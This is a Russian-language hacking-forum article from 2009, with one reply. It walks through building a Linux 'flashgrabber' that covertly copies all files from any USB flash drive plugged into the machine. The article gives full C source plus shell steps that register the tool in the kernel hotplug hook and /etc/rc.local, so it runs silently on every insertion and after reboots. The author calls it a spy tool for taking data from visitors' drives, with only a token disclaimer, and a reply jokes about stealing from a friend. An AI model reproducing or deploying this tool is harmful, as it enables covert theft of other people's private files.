Статьи Делаем пылесос из Linux

Discussion in 'Статьи' started by Spider Agent, 8 Jan 2009.

  1. Spider Agent

    Spider Agent Elder - Старейшина

    Joined:
    22 Feb 2007
    Messages:
    6
    Likes Received:
    19
    Reputations:
    0
    Сегодня мы будем делать из пингвина Тукса пылесос, только вместо пыли у нас будет информация, а именно - файлы с flash-накопителей, в народе просто флешек. Для чего тебе это надо я не знаю (если что - я предупредил, см. начало статьи), я же заинтересовался этой темой после прочтения статьи Криса Касперски Предательский антивирус: грабим данные с flash-модулей и CD/DVD . В этой статье Крис описывает создание программы-граббера для Windows, маскирующегося под антивирус и под видом проверки носителя утягивающего данные с флешки. Мы сделаем тоже самое, но во-первых, для Линукса, а во-вторых, не будем скрываться под оберткой антивируса (хотя я, конечно, всего лишь даю идею, дальнейшее ее развитие зависит от читателя). Нам понядобятся: рабочая Linux (я использую Ubuntu 8.10, в других дистрибутивах какие-то моменты могут отличаться), компилятор gcc, руки (желательно прямые :)) и желание. Хочу сразу сказать, что мы не будем лезть в исходники системы, изменять стандартную утилиту mount или бить приятеля, пришедшего к тебе с флешкой, коробкой с диском Linux, чтобы отобрать носитель.

    Итак, сначала теория. Аналогом технологии Plug’n'Play Windows’а в Linux является hotplug. Hotplug это набор скриптов, которые запускаются при подключении устройств к компьютеру. Нам эта штукенция интересна, прежде всего, из-за наличия скрипта /proc/sys/kernel/hotplug, который запускается при подключении любого устройства. Мы будем использовать его для запуска нашего скрипта, который будет запускать граббер. К чему такие сложности? Дело в том, что скрипты из /proc/sys/kernel/hotplug исполняются сразу после подключения флешки, однако системе требуется некоторое время чтобы подмонтировать диск, поэтому из нашего скрипта граббер будет запускаться с небольшой задержкой.

    Но как узнать, что была подключена именно флешка? Для этого мы будем использовать утилиту hwinfo. Она выдает полную информацию о всем железе, а при указании опций - только о конкретном наборе девайсов Если мне не изменяет память, в стандартном комплекте Ubuntu этой утилиты нет, поэтому сначала надо ее поставить:
    $ sudo apt-get install hwinfo

    После изучения man узнаем, что за выдачу информации о дисках отвечает ключ –disk. Посмотрим на на вывод:

    Code:
    $ hwinfo –disk
    31: SCSI 600.0: 10600 Disk
    [Created at block.234]
    UDI: /org/freedesktop/Hal/devices/storage_serial_Kingston_DataTraveler_2_0_5B7908865370_0_0
    Unique ID: oE0T.7GV9h6c3JI0
    Parent ID: 5YuN.JONY1UuwJT1
    SysFS ID: /class/block/sdb
    SysFS BusID: 6:0:0:0
    SysFS Device Link: /devices/pci0000:00/0000:00:1d.7/usb7/7-6/7-6:1.0/host6/target6:0:0/6:0:0:0
    Hardware Class: disk
    Model: “Kingston DataTraveler 2.0″
    Vendor: usb 0×13fe “Kingston”
    Device: usb 0×1d00 “DataTraveler 2.0″
    Revision: “PMAP”
    Serial ID: “5B7908865370″
    Driver: “usb-storage”, “sd”
    Driver Modules: “usb_storage”
    Device File: /dev/sdb (/dev/sg2)
    Device Files: /dev/sdb, /dev/disk/by-id/usb-Kingston_DataTraveler_2.0_5B7908865370-0:0, /dev/disk/by-path/pci-0000:00:1d.7-usb-0:6:1.0-scsi-0:0:0:0, /dev/block/8:16
    Device Number: block 8:16-8:31 (char 21:2)
    Features: Hotpluggable
    Speed: 480 Mbps
    Module Alias: “usb:v13FEp1D00d0100dc00dsc00dp00ic08isc06ip50″
    Driver Info #0:
    Driver Status: libusual is active
    Driver Activation Cmd: “modprobe libusual”
    Drive status: no medium
    Config Status: cfg=new, avail=yes, need=no, active=unknown
    Attached to: #15 (USB Controller)
    32: IDE 200.0: 10600 Disk
    [Created at block.234]
    UDI: /org/freedesktop/Hal/devices/storage_serial_1ATA_ST9250827AS_5RG0QCKD
    Unique ID: 3OOL.3bL9KT8oPs8
    Parent ID: w7Y8.VU5GOIy1ynA
    SysFS ID: /class/block/sda
    SysFS BusID: 2:0:0:0
    SysFS Device Link: /devices/pci0000:00/0000:00:1f.2/host2/target2:0:0/2:0:0:0
    Hardware Class: disk
    Model: “ST9250827AS”
    Device: “ST9250827AS”
    Revision: “3.AA”
    Driver: “ahci”, “sd”
    Driver Modules: “ahci”
    Device File: /dev/sda
    Device Files: /dev/sda, /dev/disk/by-id/scsi-1ATA_ST9250827AS_5RG0QCKD, /dev/disk/by-id/ata-ST9250827AS_5RG0QCKD, /dev/disk/by-path/pci-0000:00:1f.2-scsi-0:0:0:0, /dev/block/8:0
    Device Number: block 8:0-8:15
    Drive status: no medium
    Config Status: cfg=new, avail=yes, need=no, active=unknown
    Attached to: #11 (SATA controller) 
    Ясно видно, что в системе присутствуют два диска: флешка и SATA жесткий диск. Внимательнее присмотревшись, замечаем, что мы можем однозначно определить тип диска (”usb_storage”) и файл устройства (/dev/sdb). Итак, флешку мы нашли. Осталось скопировать информацию. Можно, конечно, чиать прямо из файла устройства, но мы поступим проще. Воспользуемся тем, что в десктопных Linux вообще и в Ubuntu в частности флешки автоматически монтируются при подключении. Значит во время запуска граббера в каталоге /media/ будет существовать каталог флешки. Чтобы определить его имя, воспользуемся утилитой mount, которая при запуске без параметров выдает список смонтированных файловых систем:

    Code:
    $ mount
    /dev/sda6 on / type ext3 (rw,relatime,errors=remount-ro)
    tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755)
    /proc on /proc type proc (rw,noexec,nosuid,nodev)
    sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)
    varrun on /var/run type tmpfs (rw,nosuid,mode=0755)
    varlock on /var/lock type tmpfs (rw,noexec,nosuid,nodev,mode=1777)
    udev on /dev type tmpfs (rw,mode=0755)
    tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
    devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620)
    fusectl on /sys/fs/fuse/connections type fusectl (rw)
    lrm on /lib/modules/2.6.27-9-generic/volatile type tmpfs (rw,mode=755)
    /dev/sda5 on /media/DATA type fuseblk (rw,nosuid,nodev,allow_other,default_permissions,blksize=4096)
    securityfs on /sys/kernel/security type securityfs (rw)
    gvfs-fuse-daemon on /home/painkiller/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=painkiller)
    /dev/scd0 on /media/cdrom0 type udf (ro,nosuid,nodev,utf8,user=painkiller)
    /dev/sdb1 on /media/KINGSTON type vfat (rw,nosuid,nodev,uhelper=hal,shortname=mixed,uid=1000,utf8,umask=077,flush)
    Нас интересует последняя строчка, из которой мы видим, что флешка смонтирована в каталог /media/KINGSTON. То, что это именно флешка, мы видим по названию файла устройства /dev/sdb1.

    [​IMG]
    Вывод hwinfo –disk ​

    Все, сбор информации завершен, займемся реализацией. Непосредственно копирование мы будем производить командой cp. Скопированные файлы будем класть в папку ~/grabbed. Также реализуем возможность задавать исключения, чтобы граббер не копировал файлы с твоей собственной флешки. Для этого вернемся к выводу команды hwinfo –disk, а именно к строчке:

    Code:
    Unique ID: oE0T.7GV9h6c3JI0
    Это, как видно, уникальный номер устройства. Вот его и будем использовать для различия «своих» и «чужих». Итак, вот код:

    Code:
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    #define UNIQ_ID_STR “Unique ID: ”
    #define DRIVER_MODULES_STR “Driver Modules: \”usb_storage\”"
    #define DEVICE_FILE_STR “Device File: ”
    #define TMP_FILE_NAME “fgtmp”
    #define EXCLUSIONS_FILENAME “exclusions”
    
    //load exclusions
    char *load_excl(char *path)
    {
    FILE *f;
    char *out;
    char buff[11];
    char *filename = malloc(strlen(path) + strlen(EXCLUSIONS_FILENAME) + 1);
    strcpy(filename, path);
    strcat(filename, EXCLUSIONS_FILENAME);
    out = NULL;
    f = fopen(filename, “r”);
    if (!f)
    return NULL;
    while (!feof(f))
    {
    memset(buff, ‘\0′, sizeof(buff));
    fgets(buff, 10, f);
    out = (char *) realloc(out, ((out == NULL) ? 0: strlen(out)) + strlen(buff));
    strcat(out, buff);
    strcat(out, “\0″);
    }
    fclose(f);
    return out;
    }
    
    //cut path from full file name
    char *getfilepath(char *filename)
    {
    char *fn = strdup(filename);
    int i = strlen(fn)-1;
    for (; i >= 0; i–)
    {
    if (fn[i] == ‘/’)
    {
    fn[i+1] = ‘\0′;
    break;
    }
    }
    return fn;
    }
    
    int main(int argc, char** argv)
    {
    FILE *f;
    char buff[255], *exclusions, *p, devicefilename[255], finalepath[255];
    int exclude = 0, savedevfile = 0;
    p = getfilepath(argv[0]);
    exclusions = load_excl(p);
    free(p);
    p = NULL;
    sprintf(buff, “hwinfo –disk > %s”, TMP_FILE_NAME);
    system(buff);
    f = fopen(TMP_FILE_NAME, “r”);
    if (!f)
    {
    printf(”Error while opening file”);
    return -1;
    }
    while (!feof(f))
    {
    memset(buff, ‘\0′, sizeof(buff));
    fgets(buff, 254, f);
    if (((p = strstr(buff, UNIQ_ID_STR)) != NULL) && strstr(exclusions, (p+strlen(UNIQ_ID_STR))))
    {
    exclude = 1;
    continue;
    }
    if (!savedevfile)
    savedevfile = ((strstr(buff, DRIVER_MODULES_STR) != NULL) && !exclude);
    if (((p = strstr(buff, DEVICE_FILE_STR)) != NULL) && savedevfile)
    {
    sscanf(p + strlen(DEVICE_FILE_STR), “%s”, devicefilename);
    break;
    }
    }
    fclose(f);
    free(exclusions);
    sprintf(buff, “mount > %s”, TMP_FILE_NAME);
    system(buff);
    f = fopen(TMP_FILE_NAME, “r”);
    if (!f)
    {
    printf(”Error while opening file”);
    return -1;
    }
    while (!feof(f))
    {
    memset(buff, ‘\0′, sizeof(buff));
    fgets(buff, 254, f);
    if ((p = strstr(buff, devicefilename)) != NULL)
    {
    sscanf(p + strlen(devicefilename) + 5,”%s”, finalepath);
    strcat(finalepath, “/”);
    break;
    }
    }
    fclose(f);
    unlink(TMP_FILE_NAME);
    if (strcmp(finalepath, “”))
    {
    sprintf(buff,”mkdir ~/grabbed/ && cp %s* ~/grabbed/”, finalepath);
    system(buff);
    }
    return 0;
    } 
    [​IMG]
    Удобный редактор - Geany.​

    Теперь поясню некоторые моменты. Функция load_excl читает из файла список исключений, собирая путь к нему из параметра и жестко заданного имени. Файл исключений представляет собой обычный текстовый файл, в котором на каждой строчке написан один Unique ID, т.е. в результате мы получаем указатель на строку со списком исключений, разделенных символом переноса строки. Назначение функции getfilepath понятно из названия. Функцция main начинается (не считая объявления переменных) с получения пути к исполняемому файлу программы и чтения списка исключений (предполагается, что файл исключений лежит в одной папке с исполняемым файлом). Далее мы запускаем hwinfo –disk и перенаправляем ее вывод во временный файл. Затем начинаем потрошить этот файл: читаем строку и проверяем, что мы прочитали - строку с уникальным номером, имя драйвера (напомню, что по нему мы определяем тип устройства) или строку с именем файла устройства. После всего этого в буфере devicefilename будет записано имя файла устройства. Далее проделываем все те же манипуляции, но для вывода команды mount, дабы получить точку монтирования флешки. После чего выполняем команду копирования:

    Code:
    sprintf(buff,”mkdir ~/grabbed/ && cp %s* ~/grabbed/”, finalepath);
    system(buff); 
    Теперь осталось скомпилоровать программу:

    gcc -Wall -o flashgrabber flashgrabber.c

    и, вставив флешку с какими-нибудь файлами, запустить. Заработало? Хорошо. Не заработало? Ищи опечатки в коде.

    Однако ручной запуск нас не устраивает, поэтому возвращаемся к ранее составленному плану. Сначала напишем скрипт, который после небольшой паузы будет запускать граббер:

    Code:
    $ sudo nano /usr/sbin/fg.sh
    [sudo] password for painkiller:
    #!/bin/bash
    sleep 10
    ~/flashgrabber_src/flashgrabber 
    Естественно, сохраняем файл: CTRL+O, ENTER и выходим: CTRL+X. Теперь делаем из обычного файла скрипт :) :

    $ sudo chmod +x /usr/sbin/fg.sh

    Теперь сообщаем системе, что этот скрипт необходимо запускать каждый раз, когда к компьютеру подключается устройство:

    Code:
    $ sudo nano /proc/sys/kernel/hotplug
    [sudo] password for painkiller:
    /usr/sbin/fg.sh 
    Сохраняем, выходим. Все, осталось лишь проверить работу: вставляем флешку еще раз и ищем в домашнем каталоге папку grubbed.

    Однако существует небольшая проблема. Дело в том, что Ubuntu любит очищать файл
    /proc/sys/kernel/hotplug при запуске системы, то есть мы должны обновлять запись в файле при каждой загрузке. Сделать это можно так:

    Code:
    $ sudo nano /usr/sbin/refreshhp.sh
    [sudo] password for painkiller:
    #!/bin/bash
    echo «/usr/sbin/fg.sh» > /proc/sys/kernel/hotplug
    
    CTRL-O ENTER CTRL-X
    $ sudo chmod +x /usr/sbin/refreshhp.sh
    $ sudo nano /etc/rc.local 
    В файле /etc/rc.local могут быть вызовы других скриптов. Вызов нашего скрипта можно вставить в любое место файла до строки exit 0 (т.к. скрипт лежит в папке /usr/sbin/, полный путь можно не писать):

    Code:
    …
    refreshhp.sh
    …
    exit 0 
    Таким вот нехитрым образом мы превратили домашнего пингвина в шпиона. Конечно, можно придумать и мирное применение нашей задумке - например, синхронизация файлов при каждом подключении личной флешки, но дальнейшее развитие технологии целиком зависит от читателя - я всего лишь указал путь. А что будет в конце этого пути - решать тебе :).

    Для начала хочу предупредить, что копирование чужой информации без ведома владельца это по сути воровство, поэтому эту статью не следует рассматривать как руководство к действию. Если обещаешь не хулиганить - читай дальше :) .

    PainKiller
    [email protected]
    Источник: SASecurity portal

    [​IMG]
     
    #1 Spider Agent, 8 Jan 2009
    Last edited: 21 Feb 2009
    1 person likes this.
  2. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Хыхы )) Злобная вещь ) Стырить у друга порнушки ))
     
    1 person likes this.